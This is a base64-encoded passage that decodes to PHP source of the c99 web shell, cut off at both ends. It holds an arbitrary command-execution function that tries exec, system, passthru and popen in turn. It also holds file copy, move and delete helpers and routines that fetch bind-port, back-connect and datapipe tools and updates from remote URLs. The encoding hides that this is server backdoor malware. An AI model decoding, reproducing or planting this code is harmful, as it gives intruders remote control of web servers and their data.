RUNUT1JZX1NFUEFSQVRPUiAuICRvKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZzX2NvcHlf
ZGlyKCRkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRvLCAkdCAuIERJUkVDVE9SWV9TRVBBUkFU
T1IgLiAkbyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYg
KCEkcmV0KQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBy
ZXR1cm4gJHJldDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgICAgICAgIHJldHVy
biB0cnVlOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19j
b3B5X29iaiIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gZnNfY29weV9vYmooJGQsICR0KQ0K
ICAgICAgICB7DQogICAgICAgICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsIERJUkVDVE9SWV9T
RVBBUkFUT1IsICRkKTsNCiAgICAgICAgICAgICR0ID0gc3RyX3JlcGxhY2UoIlxcIiwgRElSRUNU
T1JZX1NFUEFSQVRPUiwgJHQpOw0KICAgICAgICAgICAgaWYgKCFpc19kaXIoZGlybmFtZSgkdCkp
KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIG1rZGlyKGRpcm5hbWUoJHQpKTsNCiAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKQ0KICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJGQsIC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9S
KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGQgLj0gRElSRUNUT1JZ
X1NFUEFSQVRPUjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKHN1YnN0
cigkdCwgLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAkdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gZnNfY29weV9kaXIoJGQsICR0KTsNCiAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoaXNfZmlsZSgkZCkpDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgcmV0dXJuIGNvcHkoJGQsICR0KTsNCiAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFs
c2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9l
eGlzdHMoImZzX21vdmVfZGlyIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBmc19tb3ZlX2Rp
cigkZCwgJHQpDQogICAgICAgIHsNCiAgICAgICAgICAgICRoID0gb3BlbmRpcigkZCk7DQogICAg
ICAgICAgICBpZiAoIWlzX2RpcigkdCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
bWtkaXIoJHQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgd2hpbGUgKCgkbyA9IHJlYWRk
aXIoJGgpKSAhPT0gZmFsc2UpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKCgk
byAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAkcmV0ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc19kaXIo
JGQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJG8pKQ0KICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gY29weSgkZCAuIERJUkVDVE9SWV9TRVBBUkFU
T1IgLiAkbywgJHQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJG8pOw0KICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKG1rZGlyKCR0IC4gRElSRUNUT1JZX1NFUEFSQVRP
UiAuICRvKSBhbmQgZnNfY29weV9kaXIoJGQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJG8sICR0
IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRvKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gZmFsc2U7DQogICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAg
aWYgKCEkcmV0KQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICByZXR1cm4gJHJldDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgICAgICAgIHJl
dHVybiB0cnVlOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJm
c19tb3ZlX29iaiIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsICR0
KQ0KICAgICAgICB7DQogICAgICAgICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsIERJUkVDVE9S
WV9TRVBBUkFUT1IsICRkKTsNCiAgICAgICAgICAgICR0ID0gc3RyX3JlcGxhY2UoIlxcIiwgRElS
RUNUT1JZX1NFUEFSQVRPUiwgJHQpOw0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZCkpDQogICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZCwgLTEpICE9IERJUkVDVE9S
WV9TRVBBUkFUT1IpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkZCAu
PSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICBpZiAoc3Vic3RyKCR0LCAtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikNCiAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7DQog
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiBmc19tb3ZlX2RpcigkZCwg
JHQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmIChpc19maWxlKCRkKSkNCiAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoY29weSgkZCwgJHQpKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHVubGluaygkZCk7DQogICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgIHVubGluaygkdCk7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBm
YWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNl
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAg
ICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybWRp
ciIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gZnNfcm1kaXIoJGQpDQogICAgICAgIHsNCiAg
ICAgICAgICAgICRoID0gb3BlbmRpcigkZCk7DQogICAgICAgICAgICB3aGlsZSAoKCRvID0gcmVh
ZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAo
KCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgIGlmICghaXNfZGlyKCRkIC4gJG8pKQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICB1bmxpbmsoJGQgLiAkbyk7DQogICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICBmc19ybWRpcigkZCAuICRvIC4gRElSRUNUT1JZX1NF
UEFSQVRPUik7DQogICAgICAgICAgICAgICAgICAgICAgICBybWRpcigkZCAuICRvKTsNCiAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgICAgICAgIHJtZGlyKCRkKTsNCiAgICAgICAgICAg
IHJldHVybiAhaXNfZGlyKCRkKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0aW9u
X2V4aXN0cygiZnNfcm1vYmoiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIGZzX3Jtb2JqKCRv
KQ0KICAgICAgICB7DQogICAgICAgICAgICAkbyA9IHN0cl9yZXBsYWNlKCJcXCIsIERJUkVDVE9S
WV9TRVBBUkFUT1IsICRvKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJG8pKQ0KICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJG8sIC0xKSAhPSBESVJFQ1RPUllfU0VQ
QVJBVE9SKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJG8gLj0gRElS
RUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0
dXJuIGZzX3JtZGlyKCRvKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoaXNf
ZmlsZSgkbykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHVubGluaygk
byk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAg
fQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNoZWxsZXhlYyIpKQ0KICAgIHsNCiAgICAg
ICAgZnVuY3Rpb24gbXlzaGVsbGV4ZWMoJGNtZCkNCiAgICAgICAgew0KICAgICAgICAgICAgZ2xv
YmFsICRkaXNhYmxlZnVuYzsNCiAgICAgICAgICAgICRyZXN1bHQgPSAiIjsNCiAgICAgICAgICAg
IGlmICghZW1wdHkoJGNtZCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKGlz
X2NhbGxhYmxlKCJleGVjIikgYW5kICFpbl9hcnJheSgiZXhlYyIsICRkaXNhYmxlZnVuYykpDQog
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBleGVjKCRjbWQsICRyZXN1bHQp
Ow0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gam9pbigiXG4iLCAkcmVzdWx0KTsNCiAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZWlmICgoJHJlc3VsdCA9IGAkY21k
YCkgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgi
c3lzdGVtIiwgJGRpc2FibGVmdW5jKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICAgICAgICAgICAgICBAb2Jf
Y2xlYW4oKTsNCiAgICAgICAgICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAg
ICAgICAgICAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICAgICAgICAgICAg
ICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAkdjsNCiAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgZWxzZWlmIChpc19jYWxsYWJsZSgicGFzc3RocnUiKSBh
bmQgIWluX2FycmF5KCJwYXNzdGhydSIsICRkaXNhYmxlZnVuYykpDQogICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAg
ICAgICAgICAgICAgQG9iX2NsZWFuKCk7DQogICAgICAgICAgICAgICAgICAgIHBhc3N0aHJ1KCRj
bWQpOw0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOw0K
ICAgICAgICAgICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICAgICAgZWNo
byAkdjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZWlmIChpc19yZXNv
dXJjZSgkZnAgPSBwb3BlbigkY21kLCAiciIpKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICRyZXN1bHQgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFm
ZW9mKCRmcCkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICRyZXN1bHQgLj0gZnJlYWQoJGZwLCAxMDI0KTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICBwY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICB9DQogICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgfQ0KICAgIH0NCiAg
ICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydCIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rp
b24gdGFic29ydCgkYSwgJGIpDQogICAgICAgIHsNCiAgICAgICAgICAgIGdsb2JhbCAkdjsNCiAg
ICAgICAgICAgIHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pOw0KICAgICAgICB9DQog
ICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zIikpDQogICAgew0KICAg
ICAgICBmdW5jdGlvbiB2aWV3X3Blcm1zKCRtb2RlKQ0KICAgICAgICB7DQogICAgICAgICAgICBp
ZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICR0eXBlID0gInMiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgo
JG1vZGUgJiAweDQwMDApID09PSAweDQwMDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgJHR5cGUgPSAiZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCgkbW9k
ZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAk
dHlwZSA9ICJsIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRtb2RlICYg
MHg4MDAwKSA9PT0gMHg4MDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0eXBl
ID0gIi0iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDYw
MDApID09PSAweDYwMDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHR5cGUgPSAi
YiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkg
PT09IDB4MjAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdHlwZSA9ICJjIjsN
CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0g
MHgxMDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0eXBlID0gInAiOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICR0eXBlID0gIj8iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJG93bmVyWyJyZWFk
Il0gPSAoJG1vZGUgJiAwMDQwMCkgPyAiciIgOiAiLSI7DQogICAgICAgICAgICAkb3duZXJbIndy
aXRlIl0gPSAoJG1vZGUgJiAwMDIwMCkgPyAidyIgOiAiLSI7DQogICAgICAgICAgICAkb3duZXJb
ImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICJ4IiA6ICItIjsNCiAgICAgICAgICAgICRn
cm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gInIiIDogIi0iOw0KICAgICAgICAgICAg
JGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApID8gInciIDogIi0iOw0KICAgICAgICAg
ICAgJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCkgPyAieCIgOiAiLSI7DQogICAg
ICAgICAgICAkd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICJyIiA6ICItIjsNCiAg
ICAgICAgICAgICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKSA/ICJ3IiA6ICItIjsN
CiAgICAgICAgICAgICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpID8gIngiIDog
Ii0iOw0KICAgICAgICAgICAgaWYgKCRtb2RlICYgMHg4MDApDQogICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgJG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWyJleGVjdXRlIl0gPT0gIngi
KSA/ICJzIiA6ICJTIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICgkbW9kZSAmIDB4
NDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRncm91cFsiZXhlY3V0ZSJdID0g
KCRncm91cFsiZXhlY3V0ZSJdID09ICJ4IikgPyAicyIgOiAiUyI7DQogICAgICAgICAgICB9DQog
ICAgICAgICAgICBpZiAoJG1vZGUgJiAweDIwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpID8gInQi
IDogIlQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuICR0eXBlIC4gam9pbigi
IiwgJG93bmVyKSAuIGpvaW4oIiIsICRncm91cCkgLiBqb2luKCIiLCAkd29ybGQpOw0KICAgICAg
ICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFu
ZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwgJGRpc2FibGVmdW5jKSkNCiAgICB7DQogICAg
ICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCR1aWQpDQogICAgICAgIHsNCiAgICAgICAgICAg
IHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0
cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsICRkaXNh
YmxlZnVuYykpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkZ2lkKQ0K
ICAgICAgICB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICB9DQog
ICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3Np
eF9raWxsIiwgJGRpc2FibGVmdW5jKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIHBvc2l4X2tp
bGwoJGdpZCkNCiAgICAgICAgew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9
DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKQ0KICAgIHsN
CiAgICAgICAgZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpDQogICAgICAgIHsNCiAgICAgICAg
ICAgIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApDQogICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgJHQgPSAicyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYg
KCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAkdCA9ICJkIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRtb2Rl
ICYgMHhBMDAwKSA9PT0gMHhBMDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0
ID0gImwiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDgw
MDApID09PSAweDgwMDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHQgPSAiLSI7
DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09
IDB4NjAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdCA9ICJiIjsNCiAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAw
KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0ID0gImMiOw0KICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApDQogICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgJHQgPSAicCI7DQogICAgICAgICAgICB9DQogICAg
ICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHQgPSAiPyI7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsN
CiAgICAgICAgICAgICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOw0KICAgICAgICAgICAg
JG9bIngiXSA9ICgkbW9kZSAmIDAwMTAwKSA+IDA7DQogICAgICAgICAgICAkZ1siciJdID0gKCRt
b2RlICYgMDAwNDApID4gMDsNCiAgICAgICAgICAgICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkg
PiAwOw0KICAgICAgICAgICAgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7DQogICAgICAg
ICAgICAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsNCiAgICAgICAgICAgICR3WyJ3Il0g
PSAoJG1vZGUgJiAwMDAwMikgPiAwOw0KICAgICAgICAgICAgJHdbIngiXSA9ICgkbW9kZSAmIDAw
MDAxKSA+IDA7DQogICAgICAgICAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICAgICAgICAgInQi
ID0+ICR0LA0KICAgICAgICAgICAgICAgICJvIiA9PiAkbywNCiAgICAgICAgICAgICAgICAiZyIg
PT4gJGcsDQogICAgICAgICAgICAgICAgInciID0+ICR3DQogICAgICAgICAgICApOw0KICAgICAg
ICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZXNvcnQiKSkNCiAgICB7
DQogICAgICAgIGZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkNCiAgICAgICAgew0KICAgICAgICAg
ICAgJG9uZSA9IGludHZhbCgkc29ydCk7DQogICAgICAgICAgICAkc2Vjb25kID0gc3Vic3RyKCRz
b3J0LCAtMSk7DQogICAgICAgICAgICBpZiAoJHNlY29uZCAhPSAiZCIpDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgJHNlY29uZCA9ICJhIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgICAgICAgICAkb25lLA0KICAgICAgICAgICAgICAg
ICRzZWNvbmQNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5j
dGlvbl9leGlzdHMoInZpZXdfcGVybXNfY29sb3IiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9u
IHZpZXdfcGVybXNfY29sb3IoJG8pDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICghaXNfcmVh
ZGFibGUoJG8pKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiAiPGZvbnQg
Y29sb3I9cmVkPiIgLiB2aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpIC4gIjwvZm9udD4iOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+IiAuIHZp
ZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkgLiAiPC9mb250PiI7DQogICAgICAgICAgICB9DQogICAg
ICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuICI8Zm9u
dCBjb2xvcj1ncmVlbj4iIC4gdmlld19wZXJtcyhmaWxlcGVybXMoJG8pKSAuICI8L2ZvbnQ+IjsN
CiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0
cygiYzk5Z2V0c291cmNlIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBjOTlnZXRzb3VyY2Uo
JGZuKQ0KICAgICAgICB7DQogICAgICAgICAgICBnbG9iYWwgJGM5OXNoX3NvdXJjZXN1cmw7DQog
ICAgICAgICAgICAkYXJyYXkgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAiYzk5c2hfYmluZHBv
cnQucGwiID0+ICJjOTlzaF9iaW5kcG9ydF9wbC50eHQiLA0KICAgICAgICAgICAgICAgICJjOTlz
aF9iaW5kcG9ydC5jIiA9PiAiYzk5c2hfYmluZHBvcnRfYy50eHQiLA0KICAgICAgICAgICAgICAg
ICJjOTlzaF9iYWNrY29ubi5wbCIgPT4gImM5OXNoX2JhY2tjb25uX3BsLnR4dCIsDQogICAgICAg
ICAgICAgICAgImM5OXNoX2JhY2tjb25uLmMiID0+ICJjOTlzaF9iYWNrY29ubl9jLnR4dCIsDQog
ICAgICAgICAgICAgICAgImM5OXNoX2RhdGFwaXBlLnBsIiA9PiAiYzk5c2hfZGF0YXBpcGVfcGwu
dHh0IiwNCiAgICAgICAgICAgICAgICAiYzk5c2hfZGF0YXBpcGUuYyIgPT4gImM5OXNoX2RhdGFw
aXBlX2MudHh0IiwNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkbmFtZSA9ICRhcnJheVsk
Zm5dOw0KICAgICAgICAgICAgaWYgKCRuYW1lKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgIHJldHVybiBmaWxlX2dldF9jb250ZW50cygkYzk5c2hfc291cmNlc3VybCAuICRuYW1lKTsN
CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQog
ICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OXNoX2dldHVwZGF0ZSIpKQ0KICAgIHsNCiAgICAg
ICAgZnVuY3Rpb24gYzk5c2hfZ2V0dXBkYXRlKCR1cGRhdGUgPSB0cnVlKQ0KICAgICAgICB7DQog
ICAgICAgICAgICAkdXJsID0gJEdMT0JBTFNbImM5OXNoX3VwZGF0ZXVybCJdIC4gIj92ZXJzaW9u
PSIgLiB1cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkR0xPQkFMU1sic2h2ZXIiXSkpIC4gIiZ1cGRh
dGVub3c9IiAuICgkdXBkYXRlbm93ID8gIjEiIDogIjAiKSAuICImIjsNCiAgICAgICAgICAgICRk
